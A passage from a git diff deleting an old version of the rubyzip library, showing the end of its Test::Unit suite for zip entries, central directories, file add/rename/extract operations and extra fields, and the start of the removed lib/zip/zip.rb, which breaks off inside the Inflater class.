entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("empty.txt", entry.name) - assert_equal(ZipEntry::STORED, entry.compression_method) - assert_equal(0, entry.size) - assert_equal(0, entry.compressed_size) - assert_equal(0x0, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("short.txt", entry.name) - assert_equal(ZipEntry::STORED, entry.compression_method) - assert_equal(6, entry.size) - assert_equal(6, entry.compressed_size) - assert_equal(0xbb76fe69, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("longBinary.bin", entry.name) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(1000024, entry.size) - assert_equal(70847, entry.compressed_size) - assert_equal(0x10da7d59, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("data/testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.read_c_dir_entry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - - -class ZipEntrySetTest < Test::Unit::TestCase - ZIP_ENTRIES = [ - ZipEntry.new("zipfile.zip", "name1", "comment1"), - ZipEntry.new("zipfile.zip", "name2", "comment1"), - ZipEntry.new("zipfile.zip", "name3", "comment1"), - ZipEntry.new("zipfile.zip", "name4", "comment1"), - ZipEntry.new("zipfile.zip", "name5", "comment1"), - ZipEntry.new("zipfile.zip", "name6", "comment1") - ] - - def setup - @zipEntrySet = ZipEntrySet.new(ZIP_ENTRIES) - end - - def test_include - assert(@zipEntrySet.include?(ZIP_ENTRIES.first)) - assert(! @zipEntrySet.include?(ZipEntry.new("different.zip", "different", "aComment"))) - end - - def test_size - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.length) - @zipEntrySet << ZipEntry.new("a", "b", "c") - assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.length) - end - - def test_add - zes = ZipEntrySet.new - entry1 = ZipEntry.new("zf.zip", "name1") - entry2 = ZipEntry.new("zf.zip", "name2") - zes << entry1 - assert(zes.include?(entry1)) - zes.push(entry2) - assert(zes.include?(entry2)) - end - - def test_delete - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - entry = @zipEntrySet.delete(ZIP_ENTRIES.first) - assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size) - assert_equal(ZIP_ENTRIES.first, entry) - - entry = @zipEntrySet.delete(ZIP_ENTRIES.first) - assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size) - assert_nil(entry) - end - - def test_each - # Tested indirectly via each_with_index - count = 0 - @zipEntrySet.each_with_index { - |entry, index| - assert(ZIP_ENTRIES.include?(entry)) - count = count.succ - } - assert_equal(ZIP_ENTRIES.size, count) - end - - def test_entries - assert_equal(ZIP_ENTRIES.sort, @zipEntrySet.entries.sort) - end - - def test_compound - newEntry = ZipEntry.new("zf.zip", "new entry", "new entry's comment") - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - @zipEntrySet << newEntry - assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.size) - assert(@zipEntrySet.include?(newEntry)) - - @zipEntrySet.delete(newEntry) - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - end - - def test_dup - copy = @zipEntrySet.dup - assert_equal(@zipEntrySet, copy) - - # demonstrate that this is a deep copy - copy.entries[0].name = "a totally different name" - assert(@zipEntrySet != copy) - end - - def test_parent - entries = [ - ZipEntry.new("zf.zip", "a"), - ZipEntry.new("zf.zip", "a/"), - ZipEntry.new("zf.zip", "a/b"), - ZipEntry.new("zf.zip", "a/b/"), - ZipEntry.new("zf.zip", "a/b/c"), - ZipEntry.new("zf.zip", "a/b/c/") - ] - entrySet = ZipEntrySet.new(entries) - - assert_equal(nil, entrySet.parent(entries[0])) - assert_equal(nil, entrySet.parent(entries[1])) - assert_equal(entries[1], entrySet.parent(entries[2])) - assert_equal(entries[1], entrySet.parent(entries[3])) - assert_equal(entries[3], entrySet.parent(entries[4])) - assert_equal(entries[3], entrySet.parent(entries[5])) - end - - def test_glob - res = @zipEntrySet.glob('name[2-4]') - assert_equal(3, res.size) - assert_equal(ZIP_ENTRIES[1,3], res) - end - - def test_glob2 - entries = [ - ZipEntry.new("zf.zip", "a/"), - ZipEntry.new("zf.zip", "a/b/b1"), - ZipEntry.new("zf.zip", "a/b/c/"), - ZipEntry.new("zf.zip", "a/b/c/c1") - ] - entrySet = ZipEntrySet.new(entries) - - assert_equal(entries[0,1], entrySet.glob("*")) -# assert_equal(entries[FIXME], entrySet.glob("**")) -# res = entrySet.glob('a*') -# assert_equal(entries.size, res.size) -# assert_equal(entrySet.map { |e| e.name }, res.map { |e| e.name }) - end -end - - -class ZipCentralDirectoryTest < Test::Unit::TestCase - - def test_read_from_stream - File.open(TestZipFile::TEST_ZIP2.zip_name, "rb") { - |zipFile| - cdir = ZipCentralDirectory.read_from_stream(zipFile) - assert_equal(TestZipFile::TEST_ZIP2.entry_names.size, cdir.size) - cdir.entries.sort.compare_enumerables(TestZipFile::TEST_ZIP2.entry_names.sort) { - |cdirEntry, testEntryName| - assert(cdirEntry.name == testEntryName) - } - assert_equal(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("data/file2.txt", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.read_from_stream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("data/testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.read_from_stream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_write_to_stream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.write_to_stream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.read_from_stream(f) } - - assert_equal(cdir.entries.sort, cdirReadback.entries.sort) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equal(cdir1, cdir1) - assert_equal(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < Test::Unit::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zip_name) - @testEntryNameIndex=0 - end - - def test_entries - assert_equal(TestZipFile::TEST_ZIP2.entry_names.sort, - @zipFile.entries.entries.sort.map {|e| e.name} ) - end - - def test_each - count = 0 - visited = {} - @zipFile.each { - |entry| - assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_foreach - count = 0 - visited = {} - ZipFile.foreach(TestZipFile::TEST_ZIP2.zip_name) { - |entry| - assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_get_input_stream - count = 0 - visited = {} - @zipFile.each { - |entry| - assert_entry(entry.name, @zipFile.get_input_stream(entry), entry.name) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_get_input_streamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.get_input_stream(fileAndEntryName) { - |zis| - assert_entryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -module CommonZipFileFixture - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zip_name = "5entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - FileUtils.cp(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) - end -end - -class ZipFileTest < Test::Unit::TestCase - include CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.get_output_stream("myFile") { |os| os.write "myFile contains just this" } - zf.mkdir("dir1") - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equal(comment, zfRead.comment) - assert_equal(2, zfRead.entries.length) - end - - def test_get_output_stream - entryCount = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - entryCount = zf.size - zf.get_output_stream('newEntry.txt') { - |os| - os.write "Putting stuff in newEntry.txt" - } - assert_equal(entryCount+1, zf.size) - assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) - - zf.get_output_stream(zf.get_entry('data/generated/empty.txt')) { - |os| - os.write "Putting stuff in data/generated/empty.txt" - } - assert_equal(entryCount+1, zf.size) - assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) - - zf.get_output_stream('entry.bin') { - |os| - os.write(File.open('data/generated/5entry.zip', 'rb').read) - } - } - - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(entryCount+2, zf.size) - assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) - assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) - assert_equal(File.open('data/generated/5entry.zip', 'rb').read, zf.read("entry.bin")) - } - end - - def test_add - srcFile = "data/file2.txt" - entryName = "newEntryName.rb" - assert(File.exists?(srcFile)) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equal("", zfRead.comment) - assert_equal(1, zfRead.entries.length) - assert_equal(entryName, zfRead.entries.first.name) - AssertEntry.assert_contents(srcFile, - zfRead.get_input_stream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_raise(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.add(zf.entries.first.name, "data/file2.txt") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "data/file2.txt") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_contains(zf, replacedEntry, "data/file2.txt") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.is_directory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entry_names - - FileUtils.cp(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) - - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equal(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equal(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entry_names - - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(zf.entries.map { |e| e.name }.include?(entryToRename)) - - contents = zf.read(entryToRename) - newName = "changed entry name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include?(newName)) - - assert_equal(contents, zf.read(newName)) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(zfRead.entries.map { |e| e.name }.include?(newName)) - assert_equal(contents, zf.read(newName)) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } - - assert_raise(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(oldEntries.sort.map{ |e| e.name }, zf.entries.sort.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } - - gotCalled = false - renamedEntryName = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - renamedEntryName = zf.entries[0].name - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_if { |e| e.name == renamedEntryName } - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(oldEntries.sort.map{ |e| e.name }, - zf.entries.sort.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - target_entry = "target_entryName" - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(! zf.entries.include?(nonEntry)) - assert_raise(Errno::ENOENT) { - zf.rename(nonEntry, target_entry) - } - zf.commit - assert(! zf.entries.include?(target_entry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entry_names - zf = ZipFile.new(TEST_ZIP.zip_name) - assert_raise(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - entryToReplace = TEST_ZIP.entry_names[2] - newEntrySrcFilename = "data/file2.txt" - zf = ZipFile.new(TEST_ZIP.zip_name) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - zfRead = ZipFile.new(TEST_ZIP.zip_name) - AssertEntry::assert_contents(newEntrySrcFilename, - zfRead.get_input_stream(entryToReplace) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[0], - zfRead.get_input_stream(TEST_ZIP.entry_names[0]) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[1], - zfRead.get_input_stream(TEST_ZIP.entry_names[1]) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[3], - zfRead.get_input_stream(TEST_ZIP.entry_names[3]) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_raise(Errno::ENOENT) { - zf.replace(entryToReplace, "data/file2.txt") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zip_name) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - FileUtils.cp(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zip_name) - zf.add("okToDelete.txt", "okToDelete.txt") - assert_contains(zf, "okToDelete.txt") - zf.commit - File.rename("okToDelete.txt", "okToDeleteMoved.txt") - assert_contains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zip_name) -# zf.close -# assert_raise(IOError) { -# zf.extract(TEST_ZIP.entry_names.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zip_name) - originalEntries = zf.entries.dup - - assert_not_contains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assert_contains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assert_contains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assert_contains(zf, filename) - } - - assert_contains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assert_not_contains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert_contains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assert_contains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assert_contains(zfRead, filename) - } - assert_not_contains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zip_name) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assert_not_contains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assert_contains(zf, filename) - } - assert_equal(zf.entries.sort.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assert_not_contains(zf, TestFiles::ASCII_TEST_FILES[0]) - assert_contains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zip_name) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assert_contains(zf, filename) - } - - assert_contains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assert_contains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assert_entryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assert_not_contains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < Test::Unit::TestCase - include CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entry_names.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists?(EXTRACTED_FILENAME)) - AssertEntry::assert_contents(EXTRACTED_FILENAME, - zf.get_input_stream(ENTRY_TO_EXTRACT) { |is| is.read }) - - - File::unlink(EXTRACTED_FILENAME) - - entry = zf.get_entry(ENTRY_TO_EXTRACT) - entry.extract(EXTRACTED_FILENAME) - - assert(File.exists?(EXTRACTED_FILENAME)) - AssertEntry::assert_contents(EXTRACTED_FILENAME, - entry.get_input_stream() { |is| is.read }) - - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_raise(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equal(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalledCorrectly = false - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { - |entry, extractLoc| - gotCalledCorrectly = zf.entries.first == entry && - extractLoc == EXTRACTED_FILENAME - true - } - } - - assert(gotCalledCorrectly) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zip_name) - assert_raise(Errno::ENOENT) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_raise(Errno::ENOENT) { - zf = ZipFile.new(TEST_ZIP.zip_name) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < Test::Unit::TestCase - include CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def open_zip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zip_name, &aProc) - end - - def extract_test_dir(&aProc) - open_zip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extract_test_dir - assert(File.directory?(TEST_OUT_NAME)) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extract_test_dir - assert(File.directory?(TEST_OUT_NAME)) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_raise(ZipDestinationFileExistsError) { extract_test_dir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extract_test_dir { - |entry, destPath| - gotCalled = true - assert_equal(TEST_OUT_NAME, destPath) - assert(entry.is_directory) - true - } - assert(gotCalled) - assert(File.directory?(TEST_OUT_NAME)) - end -end - -class ZipExtraFieldTest < Test::Unit::TestCase - def test_new - extra_pure = ZipExtraField.new("") - extra_withstr = ZipExtraField.new("foo") - assert_instance_of(ZipExtraField, extra_pure) - assert_instance_of(ZipExtraField, extra_withstr) - end - - def test_unknownfield - extra = ZipExtraField.new("foo") - assert_equal(extra["Unknown"], "foo") - extra.merge("a") - assert_equal(extra["Unknown"], "fooa") - extra.merge("barbaz") - assert_equal(extra.to_s, "fooabarbaz") - end - - - def test_merge - str = "UT\x5\0\x3\250$\r@Ux\0\0" - extra1 = ZipExtraField.new("") - extra2 = ZipExtraField.new(str) - assert(! extra1.member?("UniversalTime")) - assert(extra2.member?("UniversalTime")) - extra1.merge(str) - assert_equal(extra1["UniversalTime"].mtime, extra2["UniversalTime"].mtime) - end - - def test_length - str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" - extra = ZipExtraField.new(str) - assert_equal(extra.local_length, extra.to_local_bin.length) - assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length) - extra.merge("foo") - assert_equal(extra.local_length, extra.to_local_bin.length) - assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length) - end - - - def test_to_s - str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" - extra = ZipExtraField.new(str) - assert_instance_of(String, extra.to_s) - - s = extra.to_s - extra.merge("foo") - assert_equal(s.length + 3, extra.to_s.length) - end - - def test_equality - str = "UT\x5\0\x3\250$\r@" - extra1 = ZipExtraField.new(str) - extra2 = ZipExtraField.new(str) - extra3 = ZipExtraField.new(str) - assert_equal(extra1, extra2) - - extra2["UniversalTime"].mtime = Time.now - assert(extra1 != extra2) - - extra3.create("IUnix") - assert(extra1 != extra3) - - extra1.create("IUnix") - assert_equal(extra1, extra3) - end - -end - -# Copyright (C) 2002-2005 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/zip.rb b/lib/zip/zip.rb deleted file mode 100644 index e5d150de96..0000000000 --- a/lib/zip/zip.rb +++ /dev/null @@ -1,1900 +0,0 @@ -# encoding: ASCII-8BIT -require 'delegate' - -begin - require 'iconv' -rescue ::LoadError -end - -require 'singleton' -require 'tempfile' -require 'fileutils' -require 'stringio' -require 'zlib' -require 'zip/stdrubyext' -require 'zip/ioextras' - -if Tempfile.superclass == SimpleDelegator - require 'zip/tempfile_bugfixed' - Tempfile = BugFix::Tempfile -end - -module Zlib #:nodoc:all - if ! const_defined? :MAX_WBITS - MAX_WBITS = Zlib::Deflate.MAX_WBITS - end -end - -module Zip - - VERSION = '0.9.4' - - RUBY_MINOR_VERSION = RUBY_VERSION.split(".")[1].to_i - - RUNNING_ON_WINDOWS = /mswin32|cygwin|mingw|bccwin/ =~ RUBY_PLATFORM - - # Ruby 1.7.x compatibility - # In ruby 1.6.x and 1.8.0 reading from an empty stream returns - # an empty string the first time and then nil. - # not so in 1.7.x - EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST = RUBY_MINOR_VERSION != 7 - - # ZipInputStream is the basic class for reading zip entries in a - # zip file. It is possible to create a ZipInputStream object directly, - # passing the zip file name to the constructor, but more often than not - # the ZipInputStream will be obtained from a ZipFile (perhaps using the - # ZipFileSystem interface) object for a particular entry in the zip - # archive. - # - # A ZipInputStream inherits IOExtras::AbstractInputStream in order - # to provide an IO-like interface for reading from a single zip - # entry. Beyond methods for mimicking an IO-object it contains - # the method get_next_entry for iterating through the entries of - # an archive. get_next_entry returns a ZipEntry object that describes - # the zip entry the ZipInputStream is currently reading from. - # - # Example that creates a zip archive with ZipOutputStream and reads it - # back again with a ZipInputStream. - # - # require 'zip/zip' - # - # Zip::ZipOutputStream::open("my.zip") { - # |io| - # - # io.put_next_entry("first_entry.txt") - # io.write "Hello world!" - # - # io.put_next_entry("adir/first_entry.txt") - # io.write "Hello again!" - # } - # - # - # Zip::ZipInputStream::open("my.zip") { - # |io| - # - # while (entry = io.get_next_entry) - # puts "Contents of #{entry.name}: '#{io.read}'" - # end - # } - # - # java.util.zip.ZipInputStream is the original inspiration for this - # class. - - class ZipInputStream - include IOExtras::AbstractInputStream - - # Opens the indicated zip file. An exception is thrown - # if the specified offset in the specified filename is - # not a local zip entry header. - def initialize(filename, offset = 0) - super() - @archiveIO = File.open(filename, "rb") - @archiveIO.seek(offset, IO::SEEK_SET) - @decompressor = NullDecompressor.instance - @currentEntry = nil - end - - def close - @archiveIO.close - end - - # Same as #initialize but if a block is passed the opened - # stream is passed to the block and closed when the block - # returns. - def ZipInputStream.open(filename) - return new(filename) unless block_given? - - zio = new(filename) - yield zio - ensure - zio.close if zio - end - - # Returns a ZipEntry object. It is necessary to call this - # method on a newly created ZipInputStream before reading from - # the first entry in the archive. Returns nil when there are - # no more entries. - - def get_next_entry - @archiveIO.seek(@currentEntry.next_header_offset, - IO::SEEK_SET) if @currentEntry - open_entry - end - - # Rewinds the stream to the beginning of the current entry - def rewind - return if @currentEntry.nil? - @lineno = 0 - @archiveIO.seek(@currentEntry.localHeaderOffset, - IO::SEEK_SET) - open_entry - end - - # Modeled after IO.sysread - def sysread(numberOfBytes = nil, buf = nil) - @decompressor.sysread(numberOfBytes, buf) - end - - def eof - @outputBuffer.empty? && @decompressor.eof - end - alias :eof? :eof - - protected - - def open_entry - @currentEntry = ZipEntry.read_local_entry(@archiveIO) - if (@currentEntry == nil) - @decompressor = NullDecompressor.instance - elsif @currentEntry.compression_method == ZipEntry::STORED - @decompressor = PassThruDecompressor.new(@archiveIO, @currentEntry.size) - elsif @currentEntry.compression_method == ZipEntry::DEFLATED - @decompressor = Inflater.new(@archiveIO) - else - raise ZipCompressionMethodError, "Unsupported compression method #{@currentEntry.compression_method}" - end - flush - return @currentEntry - end - - def produce_input - @decompressor.produce_input - end - - def input_finished? - @decompressor.input_finished? - end - end - - - - class Decompressor #:nodoc:all - CHUNK_SIZE=32768 - def initialize(inputStream) - super() - @inputStream=inputStream - end - end - - class Inflater < Decompressor #:nodoc:all - def initialize(inputStream) - super - @zlibInflater = Zlib::Inflate.new(-Zlib::MAX_WBITS) - @outputBuffer="" - @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST - end - - def sysread(numberOfBytes = nil, buf = nil) - readEverything = (numberOfBytes == nil) - while (readEverything || @outputBuffer.length < numberOfBytes) - break if internal_input_finished? - @outputBuffer << 